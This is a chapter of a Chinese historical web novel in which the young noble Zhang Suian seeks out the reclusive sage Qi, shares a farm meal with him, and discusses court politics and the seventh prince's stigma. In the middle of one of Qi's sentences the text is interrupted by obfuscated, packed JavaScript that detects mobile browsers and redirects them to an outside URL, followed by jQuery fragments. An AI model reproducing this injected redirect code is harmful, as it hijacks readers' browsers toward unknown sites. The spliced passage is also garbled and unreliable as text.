去往南境的路跋山涉水,官车轻快,却也耐不住一路泥泞,陆路走完,又是好几日的水路,过了南岭,才进入怀州境内。
江风裹着水汽吹在脸上,带着湘南地带特有的温润。
岸边的乌篷船不少,怀州地势高低起伏,多有挑夫在此扛运行李,路边架着一草摊,卖着热腾腾的大碗茶,往来候船的人和挑夫若是渴了,都能捧着粗瓷碗喝上一口。
张岁安随家丁一起下了船,也在路边歇了会脚,点了两碗茶喝。
“公子,这茶……”彭吉捧着瓷碗喝了一口,被苦得眉头挤成一团,“这茶可真浓啊。”
卖茶的伙计笑了笑,把汗巾往肩上一搭,操着一口怀州口音道:“我们这茶都是熬的,浓茶喝了提神,干活有力气。”
张岁安也喝了半口,果然苦得发涩,只是多喝几口,苦习惯后,倒也觉得有股醇香,一大碗浓茶下去,配上甜糍,吃完身子也热了,也不疲乏了,上山赶路都有劲了。
南境之地,山峦叠峰,想要去那圣人的草堂,还得爬上好几里的山路。
山间雾气湿滑,又都是些幽僻小径,一脚下去陷了半只脚不说,连衣袍也都被泥水浸了个透。
彭吉跟在张岁安身后,累得龇牙咧嘴,边爬边喘:“公子啊,你说这祁圣人也一把年纪了,山路如此难行,他这筋骨上下一趟受得了吗?”
张岁安撑着一根粗木棍子,站在石边,抬起袖口擦了擦额角的薄汗,望向山间的迷雾,一只鸽子忽然从雾气中飞出,振翅之声喋喋地回荡在山谷间。
“想来,应该快到了。”张岁安轻声道。
再往深处走,雾气渐薄,隐约可见一竹影下的草堂,茅草覆顶,竹篱为墙,院中堆着半筐野草,空地上的小童正在喂牛。
小童见有人来,上前抬头问:“你们是谁?”
张岁安把手中的木棍递到彭吉手中,冲着小童躬身行礼:“晚生姓张,之前曾来过书信,今专程来拜访圣人,请问圣人可在?”
小童摇了摇头:“夫子今日去山下了,你们得去山下寻他。”
彭吉听完,险些没厥过去,他们好不容易从山下爬上来,这圣人居然在那山下……
张岁安轻声问道:“那小先生可知夫子在山下何处?”
小童想了想,答道:“夫子扛着锄头走的,想来应该是去田间了吧。”
“谢小先生指路。”张岁安行了行礼,转头就准备往山下走。
彭吉长叹一声,只能又杵着棍子,跟在公子身后。
上山路难行,下山更难,泥泞路湿滑,一行人连滚带滑地下了山,寻着雾中的牛哞声,终于到了田边上。
张岁安远远地见到一白发老农,穿着一身粗布短褂,卷着裤腿,手里攥着把木锄头,正站在田间松土。
他走上前去,作揖问道:“敢问老先生,祁夫子可在此处?”
老农闻声头也没抬,只顾着自己脚下的秧苗,闷声应了一句:“老身便是。”
张岁安一怔,似是有些惊疑。
他原以为这圣人,就该是坐在明台之上,着一身宽袖儒袍,讲经说文,五指不沾阳春水,却没想到这祁圣人竟在这田坎间自耕自种,宛如一寻常老农般。
张岁安整了整衣,躬身再拜道:“晚生张子康,故太傅张岐山之孙,久闻夫子盛名,今特来拜会,幸得一见,不枉一路风雨。”
祁圣人未曾应答,反而蹲下身子,瞅着一株秧苗看了半天,旋即叹了一声:“这草木有预枯之兆啊,”他用锄头在土里拨了半天,在根茎的泥中翻出几团幼虫,摇了摇头,撑着膝盖站起身来,“这地蚕不根除,今年怕是要闹蝗灾啊。”
张岁安闻声一顿,不知该答什么,只得又赞道:“夫子传礼教辩经义,又懂农时知虫害,可谓是于书斋之间见天地,当真是圣人风骨。”
祁圣人没搭理他,只顾埋头锄田,虽已白发苍苍,却颇有一番老当益壮的气力:“什么圣人不圣人的,虚名而已。老身耕田,是怕忘了稻米来之不易,传礼教,是为了让世人知礼守节,可到头来呢?还不都成了那庙堂人的说辞。”
经义成了庙堂之人维护自身权柄的手段,这非圣人的本意,却也奈不住大势所趋。
“夫子所言,晚生深有所感,礼教沦为权术,民生困于贪腐,亦是晚生心中所忧。”张岁安抬头望向田间人,语气又多了几分恳切,“陛下有意重修国之经义,正纲常,明是非,护民生,晚生斗胆,请夫子出山,修经传义,借典立民。”
祁圣人终于停下来了,瞅了张岁安一眼,接着握着锄头直起身来,目光越过田垄,望向江雾漫漫:“沿着这条江往南,过了那座山便是南疆地界,若有蝗灾预起,南疆坤仪王早早便会命地方州主挖渠排涝,备好矿石药粉,挨田挨亩地洒。不过一山之隔,民生之艰,相差万里啊。”
他顿了顿,转头看向张岁安,轻嗤一声:“边境之地,多是兵民一体,无粮便兵弱,这样实打实的东西不去琢磨,天天琢磨着修什么典籍,北朔有雄主,南疆有仁君,就这东袭,”老人嫌弃地摆了摆手,“也不知这付氏后人的皇帝是怎么当的?”
祁圣人仗着天高皇帝远,说话也不忌讳,张岁安心下虽觉得不妥,但也不好直言。
毕竟这祁圣人如今年近古稀,住在这孤山之中还能上山下田,想来自是精通养生之道,所谓养生,首要便是得舒气,骂天骂地骂皇帝,自己是一点闷气也不愿受。
“小生你也不必惶恐,别说是直言皇室族姓了,哪怕是当今圣上的爷爷老身也训过。”祁圣人说完便一步步地从田间往坎上走。
“夫子随口一言,晚生不会放在心上。”张岁安见祁圣人走过来,躬身便想去扶他老人家一把。
这祁圣人倒是也不必他扶,大步一迈,就稳稳地从田里站上了坎,踩着草鞋就往山上走,边走还不忘边留下一句:“你大老远的来了,老身还是得招待一番,随我上草堂吃晌午罢。”
又要爬山。
张岁安歪歪扭扭地跟在老人身后,彭吉更是被湿滑的田坎染成了半个泥人,抬头一看,那祁圣人倒是大步稳健,远远地甩出众人好一截路。
“夫子这般年岁,身体还如此康健,想来定是能长命百岁啊。”张岁安跟在后面朗声道。
“老身也不想活这么久,可这就是不死啊,”祁圣人大步一迈,宛如一山间老鹤般轻巧地飞在泥土路上,“想来是我这命中,还有劫数未尽呐。”
山上的草堂中只有小童三人,一人放牛,一人砍柴,一人帮夫子整理书简,这每日的羹食,自是只有祁圣人自己上手。
张岁安除了彭吉,还带了随行的小厮三人,草堂里忽然一下来了这么多人,祁圣人一个人也煮不过来,旋即让他们去山泉边洗手净面后,一齐过来洗菜。
“这豆荚得先将两侧的筋去了,剥皮取粒,再用水洗净。”祁圣人一边在厨案上切着菜,一边朗声招呼道。
彭吉看不下去,自家公子十指不沾阳春水的人,怎么能在这山里洗菜扣豆荚呢。
“公子啊,君子远庖厨,我来吧,你去边儿上坐着。”
祁圣人一把年纪,不仅一把菜刀使得利索,还耳聪也目明,彭吉的小声嘀咕,他也听在耳边:“什么君子远庖厨,老身母亲妻室都是南疆人,在南疆管他君子不君子的,男子女子都得会烧饭。”
张岁安闻之有理,也开始埋头跟那一盆豆荚斗智斗勇起来。
小童抱来劈好的干柴,替圣人烧热了灶台,等水沸了,豆腐豆子一下锅,腾腾的雾气漫着豆鲜味扑了上来。
圣人用长柄铁勺搅着锅中的汤,瞥了一眼身旁捧着草箕的张岁安。
这个自绥京城中娇生玉养的公子,真让他做起农活来,也是有条有理,把一筐豆子剥洗得干干净净。
“老身少时贫苦,张公却出身大家,他隐姓埋名,结交四方,这才结束了东袭割据之势,有了今日的付氏王朝。”祁圣人挥起袖口,散了散周身的水汽,“但他这人,聪明一世,糊涂一时啊。”
张岁安听着圣人提起爷爷旧事,也垂首缄默。
祁圣人故而又说道:“你此来一遭,明面上是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445031|185064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为了那修典之事,可内里,怕是还有他念吧?”
“不瞒圣人,子康确有一私心。”张岁安直言道,“事关嫡皇子面带血痣一事。”
祁圣人拎过灶台上的木盖,将那锅汤盖好闷煮,借由一旁的麻布擦了擦手,继而语气轻巧道:“礼数也好,天意也罢,不过世人托辞而已,皇子血痣,是凶是吉,不过当朝者一念之间。”
他顿了顿,转而看向张岁安,声量也沉了几分:“当今圣上利用这克亲一说,把国事变成了家事,士族老臣视嫡长秩序为国本纲常,嫡子在朝,便不可立庶子为储。可若嫡皇子克亲,陛下圣体,谁敢妄自议论?所以这克亲的名声一去,你可知道后果?”
张岁安垂首思忖,压着声音答道:“晚生明白,污名一除,七皇子便是名正言顺的嫡子,圣上若还执意废嫡立庶,群臣必然不认。”
“若无张公,付氏便坐不上那高位,想来张公临终时也是想明白了,不让自家子孙再做那皇族的权杖,可你……”
祁圣人望着张岁安,似是想训上几句,却又因了然这世间的因果宿命,而最终只是无可奈何地摇了摇头——
“你此举一出,便是在当今圣上面前表明了态度,如此一来,可就再也抽不了身了。”
“圣人方才也说了,嫡长乃国本纲常。”张岁安语气柔和,声音却沉如山石,“若嫡皇子真是天命所归,作为袭国臣子,难道要眼看着皇子蒙尘受辱吗?”
“还果真是故人之后,连这认死理儿的性子都一样。”祁圣人见着他这幅样子,就想起曾经跟他斗嘴的张老太公来,心下是又嫌弃又惋惜,“那老身再问问你,嫡皇子洗脱污名之后,陛下打压之力愈狠,你再当如何?是要联众臣之手,以国本之名逼陛下立储?还是看着你千般相护的皇子,再次沦为制衡的棋子?”
这话问得张岁安心头一顿,他当然想过此后之事,但却一直未敢直面,但祁圣人却将他心下的忧虑明堂堂地说尽了。
替七皇子洗脱污名,便是动了陛下的棋局,一步落子,从此便再也没有回头路。
他想了半晌,还是答道:“若陛下罔顾纲常,朝堂贤臣济济,自会相劝,非子康所能谋动。”
话虽委婉,但已意向分明。
祁圣人叹了一声,继而又开口道:“当年我劝不了张公,是因看礼乐荒废,民生多艰,张公以身入局,为袭国争得了数十载太平,可如今,这太平还稳不稳得住,怕是谁也说不准啰。”
山中似有飞鸟振翅,喋喋之声回荡在山谷间,悠扬延绵,好似天地间的一声哀叹。
两人言语间,一锅的豆腐汤也闷好了,张岁安帮圣人掀开木盖,将一锅鲜汤分舀入木碗中。
汤清豆白,热气氤氲,众人捧着碗慢慢吃着,鲜暖的汤食入了肚子。
“除了你,还有一人的信也早早地传到了老身这里。”祁圣人捧着碗轻声道,“这人你不认得,宫里边的那位小皇子却认得。”
张岁安一顿,似是不解。
祁圣人捋了捋胡须,笑道:“智者不入世,你我皆非智者,你爷爷那老东西也不是什么智者,智者隐于山间,却观世之全貌,便是此人矣。”
“晚生素有耳闻,七皇子曾经在太初观拜了一仙人的道石为师,难道圣人所说之人,便是那七皇子之师?”
祁圣人委婉一笑,似是默认。
“若不是他提前催着我回来,你也寻不到我了。”祁圣人顿了顿,“老身此前也不明白他劝我重归草堂之意,现下却了然了,袭国之困,最后果然还是得张氏来解。”
祁圣人看着眼前的这个少年人,仿若在看着一个注定要入局的来日首辅。
七皇子若能继承大位,眼前的人,便是能决定袭国未来国运之人。
是任凭当朝者玩弄权术而惹得民生多艰,还是推举一位能强兵利民的人上台,翻新这迂腐的朽木庙堂。
圣人心中自有明断。
“快吃吧,吃完老身还要收拾行囊。”祁圣人叹声道,“路程这么长,来去还要些时日,莫在虚妄忧虑中枉费了光阴。”